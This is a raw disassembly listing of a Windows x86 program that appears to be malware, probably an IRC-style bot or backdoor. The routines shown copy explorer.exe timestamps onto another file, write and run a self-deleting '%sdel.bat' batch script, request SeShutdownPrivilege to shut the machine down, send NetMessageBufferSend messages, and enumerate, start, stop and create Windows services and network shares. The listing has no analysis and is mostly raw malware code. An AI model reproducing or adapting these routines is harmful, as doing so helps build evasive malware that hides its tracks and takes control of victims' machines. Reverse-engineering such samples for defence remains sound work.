T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB060 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2810000h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 280084Bh nop push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEE4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB074, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26A0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call near ptr 2700729h nop mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 26F0000h push edi nop call near ptr 26619D4h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D158 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2680EF3h push eax call near ptr 2670000h nop lea eax, [ebp+var_15C] push eax call near ptr 2680DE1h nop cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2680CDEh loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2820000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2661D38h loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26D0497h nop cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAF24 push edi push eax call dword_4CAF34 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_4389B4 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j call near ptr 2680930h nop push eax push offset unk_43898C jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_43895C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26D0497h nop cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26B0000h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26B039Eh push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27A03B7h mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 26905D6h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389D8[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389D4[esi] push offset unk_438AE8 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DB020 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438ABC jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DB020 push off_4389D0[eax*4] push offset unk_438A98 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF98 mov edi, eax cmp edi, ebx jnz short loc_418762 call near ptr 2680930h nop mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE80 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 2680930h mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEEC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE88 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEF0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 nop call near ptr 2680930h mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE9C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE9C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA960 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA960 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA960 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF98 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF64 test eax, eax jnz short loc_4189CD call near ptr 2680930h nop cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE9C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DAC1C push off_4389D0[eax*4] push offset unk_43907C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DAC1C push off_4389D4[eax*4] push offset dword_439060 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DAC1C lea eax, [eax+eax*2] push off_4389D0[eax*4] push offset unk_43903C push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DAE1C, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DAE1C, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DABBC, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DABBC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DABBC pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE98 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE70 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEE8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_4390C8 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE8C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB034 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DAE20 push off_4389D4[eax*4] push offset unk_439180 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DAE20 push off_4389D0[eax*4] push offset unk_439150 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: 